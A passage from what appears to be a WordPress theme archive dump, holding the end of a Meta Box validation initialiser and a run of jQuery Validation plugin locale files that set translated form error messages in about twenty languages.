		if ( rwmb.isGutenberg ) {
			var advanced = new GutenbergValidation( '.metabox-location-advanced' ),
				normal = new GutenbergValidation( '.metabox-location-normal' ),
				side = new GutenbergValidation( '.metabox-location-side' );

			side.init();
			normal.init();
			advanced.init();
			return;
		}

		// Edit post, edit term, edit user, front-end form.
		var $forms = $( '#post, #edittag, #your-profile, .rwmb-form' );
		$forms.each( function () {
			var form = new Validation( this );
			form.init();
		} );
	};

	rwmb.$document
		.on( 'mb_ready', init );

} )( jQuery, rwmb, rwmbValidation );
PK     N\ti  i  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_kk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KK (Kazakh; қазақ тілі)
 */
$.extend( $.validator.messages, {
	required: "Бұл өрісті міндетті түрде толтырыңыз.",
	remote: "Дұрыс мағына енгізуіңізді сұраймыз.",
	email: "Нақты электронды поштаңызды енгізуіңізді сұраймыз.",
	url: "Нақты URL-ды енгізуіңізді сұраймыз.",
	date: "Нақты URL-ды енгізуіңізді сұраймыз.",
	dateISO: "Нақты ISO форматымен сәйкес датасын енгізуіңізді сұраймыз.",
	number: "Күнді енгізуіңізді сұраймыз.",
	digits: "Тек қана сандарды енгізуіңізді сұраймыз.",
	creditcard: "Несие картасының нөмірін дұрыс енгізуіңізді сұраймыз.",
	equalTo: "Осы мәнді қайта енгізуіңізді сұраймыз.",
	extension: "Файлдың кеңейтуін дұрыс таңдаңыз.",
	maxlength: $.validator.format( "Ұзындығы {0} символдан көр болмасын." ),
	minlength: $.validator.format( "Ұзындығы {0} символдан аз болмасын." ),
	rangelength: $.validator.format( "Ұзындығы {0}-{1} дейін мән енгізуіңізді сұраймыз." ),
	range: $.validator.format( "Пожалуйста, введите число от {0} до {1}. - {0} - {1} санын енгізуіңізді сұраймыз." ),
	max: $.validator.format( "{0} аз немесе тең санын енгізуіңіді сұраймыз." ),
	min: $.validator.format( "{0} көп немесе тең санын енгізуіңізді сұраймыз." )
} );
return $;
}));PK     N\h>    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_gl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: GL (Galician; Galego)
 */
( function( $ ) {
	$.extend( $.validator.messages, {
		required: "Este campo é obrigatorio.",
		remote: "Por favor, cubre este campo.",
		email: "Por favor, escribe unha dirección de correo válida.",
		url: "Por favor, escribe unha URL válida.",
		date: "Por favor, escribe unha data válida.",
		dateISO: "Por favor, escribe unha data (ISO) válida.",
		number: "Por favor, escribe un número válido.",
		digits: "Por favor, escribe só díxitos.",
		creditcard: "Por favor, escribe un número de tarxeta válido.",
		equalTo: "Por favor, escribe o mesmo valor de novo.",
		extension: "Por favor, escribe un valor cunha extensión aceptada.",
		maxlength: $.validator.format( "Por favor, non escribas máis de {0} caracteres." ),
		minlength: $.validator.format( "Por favor, non escribas menos de {0} caracteres." ),
		rangelength: $.validator.format( "Por favor, escribe un valor entre {0} e {1} caracteres." ),
		range: $.validator.format( "Por favor, escribe un valor entre {0} e {1}." ),
		max: $.validator.format( "Por favor, escribe un valor menor ou igual a {0}." ),
		min: $.validator.format( "Por favor, escribe un valor maior ou igual a {0}." ),
		nifES: "Por favor, escribe un NIF válido.",
		nieES: "Por favor, escribe un NIE válido.",
		cifES: "Por favor, escribe un CIF válido."
	} );
}( jQuery ) );
return $;
}));PK     N\B{    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sd.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SD (Sindhi; سنڌي)
 */
$.extend( $.validator.messages, {
    required: "هنن جاين جي ضرورت آهي",
    remote: "هنن جاين جي ضرورت آهي",
    email: "لکيل اي ميل غلط آهي",
    url: "لکيل ايڊريس غلط آهي",
    date: "لکيل تاريخ غلط آهي",
    dateISO: "جي معيار جي مطابق نه آهي (ISO) لکيل تاريخ",
    number: "لکيل انگ صحيح ناهي",
    digits: "رڳو انگ داخل ڪري سگهجي ٿو",
    creditcard: "لکيل ڪارڊ نمبر صحيح نه آهي",
    equalTo: "داخل ٿيل ڀيٽ صحيح نه آهي",
    extension: "لکيل غلط آهي",
    maxlength: $.validator.format( "وڌ کان وڌ {0} جي داخلا ڪري سگهجي ٿي" ),
    minlength: $.validator.format( "گهٽ ۾ گهٽ {0} جي داخلا ڪرڻ ضروري آهي" ),
    rangelength: $.validator.format( "داخلا جو {0} ۽ {1}جي وچ ۾ هجڻ ضروري آهي" ),
    range: $.validator.format( "داخلا جو {0} ۽ {1}جي وچ ۾ هجڻ ضروري آهي" ),
    max: $.validator.format( "وڌ کان وڌ {0} جي داخلا ڪري سگهجي ٿي" ),
    min: $.validator.format( "گهٽ ۾ گهٽ {0} جي داخلا ڪرڻ ضروري آهي" )
} );
return $;
}));PK     N\Ev  v  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ru.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: RU (Russian; русский язык)
 */
$.extend( $.validator.messages, {
	required: "Это поле необходимо заполнить.",
	remote: "Пожалуйста, введите правильное значение.",
	email: "Пожалуйста, введите корректный адрес электронной почты.",
	url: "Пожалуйста, введите корректный URL.",
	date: "Пожалуйста, введите корректную дату.",
	dateISO: "Пожалуйста, введите корректную дату в формате ISO.",
	number: "Пожалуйста, введите число.",
	digits: "Пожалуйста, вводите только цифры.",
	creditcard: "Пожалуйста, введите правильный номер кредитной карты.",
	equalTo: "Пожалуйста, введите такое же значение ещё раз.",
	extension: "Пожалуйста, выберите файл с правильным расширением.",
	maxlength: $.validator.format( "Пожалуйста, введите не больше {0} символов." ),
	minlength: $.validator.format( "Пожалуйста, введите не меньше {0} символов." ),
	rangelength: $.validator.format( "Пожалуйста, введите значение длиной от {0} до {1} символов." ),
	range: $.validator.format( "Пожалуйста, введите число от {0} до {1}." ),
	max: $.validator.format( "Пожалуйста, введите число, меньшее или равное {0}." ),
	min: $.validator.format( "Пожалуйста, введите число, большее или равное {0}." )
} );
return $;
}));PK     N\b!D    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ar.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: AR (Arabic; العربية)
 */
$.extend( $.validator.messages, {
	required: "هذا الحقل إلزامي",
	remote: "يرجى تصحيح هذا الحقل للمتابعة",
	email: "رجاء إدخال عنوان بريد إلكتروني صحيح",
	url: "رجاء إدخال عنوان موقع إلكتروني صحيح",
	date: "رجاء إدخال تاريخ صحيح",
	dateISO: "رجاء إدخال تاريخ صحيح (ISO)",
	number: "رجاء إدخال عدد بطريقة صحيحة",
	digits: "رجاء إدخال أرقام فقط",
	creditcard: "رجاء إدخال رقم بطاقة ائتمان صحيح",
	equalTo: "رجاء إدخال نفس القيمة",
	extension: "رجاء إدخال ملف بامتداد موافق عليه",
	maxlength: $.validator.format( "الحد الأقصى لعدد الحروف هو {0}" ),
	minlength: $.validator.format( "الحد الأدنى لعدد الحروف هو {0}" ),
	rangelength: $.validator.format( "عدد الحروف يجب أن يكون بين {0} و {1}" ),
	range: $.validator.format( "رجاء إدخال عدد قيمته بين {0} و {1}" ),
	max: $.validator.format( "رجاء إدخال عدد أقل من أو يساوي {0}" ),
	min: $.validator.format( "رجاء إدخال عدد أكبر من أو يساوي {0}" )
} );
return $;
}));PK     N\9?    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_mk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: MK (Macedonian; македонски јазик)
 */
$.extend( $.validator.messages, {
	required: "Полето е задолжително.",
	remote: "Поправете го ова поле.",
	email: "Внесете правилна e-mail адреса.",
	url: "Внесете правилен URL.",
	date: "Внесете правилен датум.",
	dateISO: "Внесете правилен датум (ISO).",
	number: "Внесете правилен број.",
	digits: "Внесете само бројки.",
	creditcard: "Внесете правилен број на кредитната картичка.",
	equalTo: "Внесете ја истата вредност повторно.",
	extension: "Внесете вредност со соодветна екстензија.",
	maxlength: $.validator.format( "Внесете максимално {0} знаци." ),
	minlength: $.validator.format( "Внесете барем {0} знаци." ),
	rangelength: $.validator.format( "Внесете вредност со должина помеѓу {0} и {1} знаци." ),
	range: $.validator.format( "Внесете вредност помеѓу {0} и {1}." ),
	max: $.validator.format( "Внесете вредност помала или еднаква на {0}." ),
	min: $.validator.format( "Внесете вредност поголема или еднаква на {0}." )
} );
return $;
}));PK     N\ݾ[y  y  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_zh.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ZH (Chinese, 中文 (Zhōngwén), 汉语, 漢語)
 */
$.extend( $.validator.messages, {
	required: "这是必填字段",
	remote: "请修正此字段",
	email: "请输入有效的电子邮件地址",
	url: "请输入有效的网址",
	date: "请输入有效的日期",
	dateISO: "请输入有效的日期 (YYYY-MM-DD)",
	number: "请输入有效的数字",
	digits: "只能输入数字",
	creditcard: "请输入有效的信用卡号码",
	equalTo: "你的输入不相同",
	extension: "请输入有效的后缀",
	maxlength: $.validator.format( "最多可以输入 {0} 个字符" ),
	minlength: $.validator.format( "最少要输入 {0} 个字符" ),
	rangelength: $.validator.format( "请输入长度在 {0} 到 {1} 之间的字符串" ),
	range: $.validator.format( "请输入范围在 {0} 到 {1} 之间的数值" ),
	step: $.validator.format( "请输入 {0} 的整数倍值" ),
	max: $.validator.format( "请输入不大于 {0} 的数值" ),
	min: $.validator.format( "请输入不小于 {0} 的数值" )
} );
return $;
}));PK     N\aq    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_my.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: MY (Malay; Melayu)
 */
$.extend( $.validator.messages, {
	required: "Medan ini diperlukan.",
	remote: "Sila betulkan medan ini.",
	email: "Sila masukkan alamat emel yang betul.",
	url: "Sila masukkan URL yang betul.",
	date: "Sila masukkan tarikh yang betul.",
	dateISO: "Sila masukkan tarikh(ISO) yang betul.",
	number: "Sila masukkan nombor yang betul.",
	digits: "Sila masukkan nilai digit sahaja.",
	creditcard: "Sila masukkan nombor kredit kad yang betul.",
	equalTo: "Sila masukkan nilai yang sama semula.",
	extension: "Sila masukkan nilai yang telah diterima.",
	maxlength: $.validator.format( "Sila masukkan tidak lebih dari {0} aksara." ),
	minlength: $.validator.format( "Sila masukkan sekurang-kurangnya {0} aksara." ),
	rangelength: $.validator.format( "Sila masukkan antara {0} dan {1} panjang aksara." ),
	range: $.validator.format( "Sila masukkan nilai antara {0} dan {1} aksara." ),
	max: $.validator.format( "Sila masukkan nilai yang kurang atau sama dengan {0}." ),
	min: $.validator.format( "Sila masukkan nilai yang lebih atau sama dengan {0}." )
} );
return $;
}));PK     N\nv?  ?  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SR (Serbian; српски језик)
 */
$.extend( $.validator.messages, {
	required: "Поље је обавезно.",
	remote: "Средите ово поље.",
	email: "Унесите исправну и-мејл адресу.",
	url: "Унесите исправан URL.",
	date: "Унесите исправан датум.",
	dateISO: "Унесите исправан датум (ISO).",
	number: "Унесите исправан број.",
	digits: "Унесите само цифе.",
	creditcard: "Унесите исправан број кредитне картице.",
	equalTo: "Унесите исту вредност поново.",
	extension: "Унесите вредност са одговарајућом екстензијом.",
	maxlength: $.validator.format( "Унесите мање од {0} карактера." ),
	minlength: $.validator.format( "Унесите барем {0} карактера." ),
	rangelength: $.validator.format( "Унесите вредност дугачку између {0} и {1} карактера." ),
	range: $.validator.format( "Унесите вредност између {0} и {1}." ),
	max: $.validator.format( "Унесите вредност мању или једнаку {0}." ),
	min: $.validator.format( "Унесите вредност већу или једнаку {0}." ),
	step: $.validator.format( "Унесите вредност која је умножак броја {0}." )
} );
return $;
}));PK     N\M  M  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_hr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HR (Croatia; hrvatski jezik)
 */
$.extend( $.validator.messages, {
	required: "Ovo polje je obavezno.",
	remote: "Ovo polje treba popraviti.",
	email: "Unesite ispravnu e-mail adresu.",
	url: "Unesite ispravan URL.",
	date: "Unesite ispravan datum.",
	dateISO: "Unesite ispravan datum (ISO).",
	number: "Unesite ispravan broj.",
	digits: "Unesite samo brojeve.",
	creditcard: "Unesite ispravan broj kreditne kartice.",
	equalTo: "Unesite ponovo istu vrijednost.",
	extension: "Unesite vrijednost sa ispravnom ekstenzijom.",
	maxlength: $.validator.format( "Maksimalni broj znakova je {0} ." ),
	minlength: $.validator.format( "Minimalni broj znakova je {0} ." ),
	rangelength: $.validator.format( "Unesite vrijednost između {0} i {1} znakova." ),
	range: $.validator.format( "Unesite vrijednost između {0} i {1}." ),
	max: $.validator.format( "Unesite vrijednost manju ili jednaku {0}." ),
	min: $.validator.format( "Unesite vrijednost veću ili jednaku {0}." )
} );
return $;
}));PK     N\
    ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_es_AR.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 * Region: AR (Argentina)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, completá este campo.",
	email: "Por favor, escribí una dirección de correo válida.",
	url: "Por favor, escribí una URL válida.",
	date: "Por favor, escribí una fecha válida.",
	dateISO: "Por favor, escribí una fecha (ISO) válida.",
	number: "Por favor, escribí un número entero válido.",
	digits: "Por favor, escribí sólo dígitos.",
	creditcard: "Por favor, escribí un número de tarjeta válido.",
	equalTo: "Por favor, escribí el mismo valor de nuevo.",
	extension: "Por favor, escribí un valor con una extensión aceptada.",
	maxlength: $.validator.format( "Por favor, no escribas más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escribas menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escribí un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escribí un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escribí un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escribí un valor mayor o igual a {0}." ),
	nifES: "Por favor, escribí un NIF válido.",
	nieES: "Por favor, escribí un NIE válido.",
	cifES: "Por favor, escribí un CIF válido."
} );
return $;
}));PK     N\sk5]    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_is.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: IS (Icelandic; íslenska)
 */
$.extend( $.validator.messages, {
	required: "Þessi reitur er nauðsynlegur.",
	remote: "Lagaðu þennan reit.",
	maxlength: $.validator.format( "Sláðu inn mest {0} stafi." ),
	minlength: $.validator.format( "Sláðu inn minnst {0} stafi." ),
	rangelength: $.validator.format( "Sláðu inn minnst {0} og mest {1} stafi." ),
	email: "Sláðu inn gilt netfang.",
	url: "Sláðu inn gilda vefslóð.",
	date: "Sláðu inn gilda dagsetningu.",
	number: "Sláðu inn tölu.",
	digits: "Sláðu inn tölustafi eingöngu.",
	equalTo: "Sláðu sama gildi inn aftur.",
	range: $.validator.format( "Sláðu inn gildi milli {0} og {1}." ),
	max: $.validator.format( "Sláðu inn gildi sem er minna en eða jafnt og {0}." ),
	min: $.validator.format( "Sláðu inn gildi sem er stærra en eða jafnt og {0}." ),
	creditcard: "Sláðu inn gilt greiðslukortanúmer."
} );
return $;
}));PK     N\    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_az.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: Az (Azeri; azərbaycan dili)
 */
$.extend( $.validator.messages, {
	required: "Bu xana mütləq doldurulmalıdır.",
	remote: "Zəhmət olmasa, düzgün məna daxil edin.",
	email: "Zəhmət olmasa, düzgün elektron poçt daxil edin.",
	url: "Zəhmət olmasa, düzgün URL daxil edin.",
	date: "Zəhmət olmasa, düzgün tarix daxil edin.",
	dateISO: "Zəhmət olmasa, düzgün ISO formatlı tarix daxil edin.",
	number: "Zəhmət olmasa, düzgün rəqəm daxil edin.",
	digits: "Zəhmət olmasa, yalnız rəqəm daxil edin.",
	creditcard: "Zəhmət olmasa, düzgün kredit kart nömrəsini daxil edin.",
	equalTo: "Zəhmət olmasa, eyni mənanı bir daha daxil edin.",
	extension: "Zəhmət olmasa, düzgün genişlənməyə malik faylı seçin.",
	maxlength: $.validator.format( "Zəhmət olmasa, {0} simvoldan çox olmayaraq daxil edin." ),
	minlength: $.validator.format( "Zəhmət olmasa, {0} simvoldan az olmayaraq daxil edin." ),
	rangelength: $.validator.format( "Zəhmət olmasa, {0} - {1} aralığında uzunluğa malik simvol daxil edin." ),
	range: $.validator.format( "Zəhmət olmasa, {0} - {1} aralığında rəqəm daxil edin." ),
	max: $.validator.format( "Zəhmət olmasa, {0} və ondan kiçik rəqəm daxil edin." ),
	min: $.validator.format( "Zəhmət olmasa, {0} və ondan böyük rəqəm daxil edin." )
} );
return $;
}));PK     N\W    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_id.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ID (Indonesia; Indonesian)
 */
$.extend( $.validator.messages, {
	required: "Kolom ini diperlukan.",
	remote: "Harap benarkan kolom ini.",
	email: "Silakan masukkan format email yang benar.",
	url: "Silakan masukkan format URL yang benar.",
	date: "Silakan masukkan format tanggal yang benar.",
	dateISO: "Silakan masukkan format tanggal(ISO) yang benar.",
	number: "Silakan masukkan angka yang benar.",
	digits: "Harap masukan angka saja.",
	creditcard: "Harap masukkan format kartu kredit yang benar.",
	equalTo: "Harap masukkan nilai yg sama dengan sebelumnya.",
	maxlength: $.validator.format( "Input dibatasi hanya {0} karakter." ),
	minlength: $.validator.format( "Input tidak kurang dari {0} karakter." ),
	rangelength: $.validator.format( "Panjang karakter yg diizinkan antara {0} dan {1} karakter." ),
	range: $.validator.format( "Harap masukkan nilai antara {0} dan {1}." ),
	max: $.validator.format( "Harap masukkan nilai lebih kecil atau sama dengan {0}." ),
	min: $.validator.format( "Harap masukkan nilai lebih besar atau sama dengan {0}." )
} );
return $;
}));PK     N\}    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_fr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: FR (French; français)
 */
$.extend( $.validator.messages, {
	required: "Ce champ est obligatoire.",
	remote: "Veuillez corriger ce champ.",
	email: "Veuillez fournir une adresse électronique valide.",
	url: "Veuillez fournir une adresse URL valide.",
	date: "Veuillez fournir une date valide.",
	dateISO: "Veuillez fournir une date valide (ISO).",
	number: "Veuillez fournir un numéro valide.",
	digits: "Veuillez fournir seulement des chiffres.",
	creditcard: "Veuillez fournir un numéro de carte de crédit valide.",
	equalTo: "Veuillez fournir encore la même valeur.",
	notEqualTo: "Veuillez fournir une valeur différente, les valeurs ne doivent pas être identiques.",
	extension: "Veuillez fournir une valeur avec une extension valide.",
	maxlength: $.validator.format( "Veuillez fournir au plus {0} caractères." ),
	minlength: $.validator.format( "Veuillez fournir au moins {0} caractères." ),
	rangelength: $.validator.format( "Veuillez fournir une valeur qui contient entre {0} et {1} caractères." ),
	range: $.validator.format( "Veuillez fournir une valeur entre {0} et {1}." ),
	max: $.validator.format( "Veuillez fournir une valeur inférieure ou égale à {0}." ),
	min: $.validator.format( "Veuillez fournir une valeur supérieure ou égale à {0}." ),
	step: $.validator.format( "Veuillez fournir une valeur multiple de {0}." ),
	maxWords: $.validator.format( "Veuillez fournir au plus {0} mots." ),
	minWords: $.validator.format( "Veuillez fournir au moins {0} mots." ),
	rangeWords: $.validator.format( "Veuillez fournir entre {0} et {1} mots." ),
	letterswithbasicpunc: "Veuillez fournir seulement des lettres et des signes de ponctuation.",
	alphanumeric: "Veuillez fournir seulement des lettres, nombres, espaces et soulignages.",
	lettersonly: "Veuillez fournir seulement des lettres.",
	nowhitespace: "Veuillez ne pas inscrire d'espaces blancs.",
	ziprange: "Veuillez fournir un code postal entre 902xx-xxxx et 905-xx-xxxx.",
	integer: "Veuillez fournir un nombre non décimal qui est positif ou négatif.",
	vinUS: "Veuillez fournir un numéro d'identification du véhicule (VIN).",
	dateITA: "Veuillez fournir une date valide.",
	time: "Veuillez fournir une heure valide entre 00:00 et 23:59.",
	phoneUS: "Veuillez fournir un numéro de téléphone valide.",
	phoneUK: "Veuillez fournir un numéro de téléphone valide.",
	mobileUK: "Veuillez fournir un numéro de téléphone mobile valide.",
	strippedminlength: $.validator.format( "Veuillez fournir au moins {0} caractères." ),
	email2: "Veuillez fournir une adresse électronique valide.",
	url2: "Veuillez fournir une adresse URL valide.",
	creditcardtypes: "Veuillez fournir un numéro de carte de crédit valide.",
	currency: "Veuillez fournir une monnaie valide.",
	ipv4: "Veuillez fournir une adresse IP v4 valide.",
	ipv6: "Veuillez fournir une adresse IP v6 valide.",
	require_from_group: $.validator.format( "Veuillez fournir au moins {0} de ces champs." ),
	nifES: "Veuillez fournir un numéro NIF valide.",
	nieES: "Veuillez fournir un numéro NIE valide.",
	cifES: "Veuillez fournir un numéro CIF valide.",
	postalCodeCA: "Veuillez fournir un code postal valide.",
	pattern: "Format non valide."
} );
return $;
}));PK     N\e8f    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_es.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ES (Spanish; Español)
 */
$.extend( $.validator.messages, {
	required: "Este campo es obligatorio.",
	remote: "Por favor, rellena este campo.",
	email: "Por favor, escribe una dirección de correo válida.",
	url: "Por favor, escribe una URL válida.",
	date: "Por favor, escribe una fecha válida.",
	dateISO: "Por favor, escribe una fecha (ISO) válida.",
	number: "Por favor, escribe un número válido.",
	digits: "Por favor, escribe sólo dígitos.",
	creditcard: "Por favor, escribe un número de tarjeta válido.",
	equalTo: "Por favor, escribe el mismo valor de nuevo.",
	extension: "Por favor, escribe un valor con una extensión aceptada.",
	maxlength: $.validator.format( "Por favor, no escribas más de {0} caracteres." ),
	minlength: $.validator.format( "Por favor, no escribas menos de {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, escribe un valor entre {0} y {1} caracteres." ),
	range: $.validator.format( "Por favor, escribe un valor entre {0} y {1}." ),
	max: $.validator.format( "Por favor, escribe un valor menor o igual a {0}." ),
	min: $.validator.format( "Por favor, escribe un valor mayor o igual a {0}." ),
	nifES: "Por favor, escribe un NIF válido.",
	nieES: "Por favor, escribe un NIE válido.",
	cifES: "Por favor, escribe un CIF válido."
} );
return $;
}));PK     N\;j}  }  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_hu.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HU (Hungarian; Magyar)
 */
$.extend( $.validator.messages, {
	required: "Kötelező megadni.",
	maxlength: $.validator.format( "Legfeljebb {0} karakter hosszú legyen." ),
	minlength: $.validator.format( "Legalább {0} karakter hosszú legyen." ),
	rangelength: $.validator.format( "Legalább {0} és legfeljebb {1} karakter hosszú legyen." ),
	email: "Érvényes e-mail címnek kell lennie.",
	url: "Érvényes URL-nek kell lennie.",
	date: "Dátumnak kell lennie.",
	number: "Számnak kell lennie.",
	digits: "Csak számjegyek lehetnek.",
	equalTo: "Meg kell egyeznie a két értéknek.",
	range: $.validator.format( "{0} és {1} közé kell esnie." ),
	max: $.validator.format( "Nem lehet nagyobb, mint {0}." ),
	min: $.validator.format( "Nem lehet kisebb, mint {0}." ),
	creditcard: "Érvényes hitelkártyaszámnak kell lennie.",
	remote: "Kérem javítsa ki ezt a mezőt.",
	dateISO: "Kérem írjon be egy érvényes dátumot (ISO).",
	step: $.validator.format( "A {0} egyik többszörösét adja meg." )
} );
return $;
}));PK     N\K    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sk.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: SK (Slovak; slovenčina, slovenský jazyk)
 */
$.extend( $.validator.messages, {
	required: "Povinné zadať.",
	maxlength: $.validator.format( "Maximálne {0} znakov." ),
	minlength: $.validator.format( "Minimálne {0} znakov." ),
	rangelength: $.validator.format( "Minimálne {0} a maximálne {1} znakov." ),
	email: "E-mailová adresa musí byť platná.",
	url: "URL musí byť platná.",
	date: "Musí byť dátum.",
	number: "Musí byť číslo.",
	digits: "Môže obsahovať iba číslice.",
	equalTo: "Dve hodnoty sa musia rovnať.",
	range: $.validator.format( "Musí byť medzi {0} a {1}." ),
	max: $.validator.format( "Nemôže byť viac ako {0}." ),
	min: $.validator.format( "Nemôže byť menej ako {0}." ),
	creditcard: "Číslo platobnej karty musí byť platné.",
	step: $.validator.format( "Musí byť násobkom čísla {0}." )
} );
return $;
}));PK     N\m    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_et.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ET (Estonian; eesti, eesti keel)
 */
$.extend( $.validator.messages, {
	required: "See väli peab olema täidetud.",
	maxlength: $.validator.format( "Palun sisestage vähem kui {0} tähemärki." ),
	minlength: $.validator.format( "Palun sisestage vähemalt {0} tähemärki." ),
	rangelength: $.validator.format( "Palun sisestage väärtus vahemikus {0} kuni {1} tähemärki." ),
	email: "Palun sisestage korrektne e-maili aadress.",
	url: "Palun sisestage korrektne URL.",
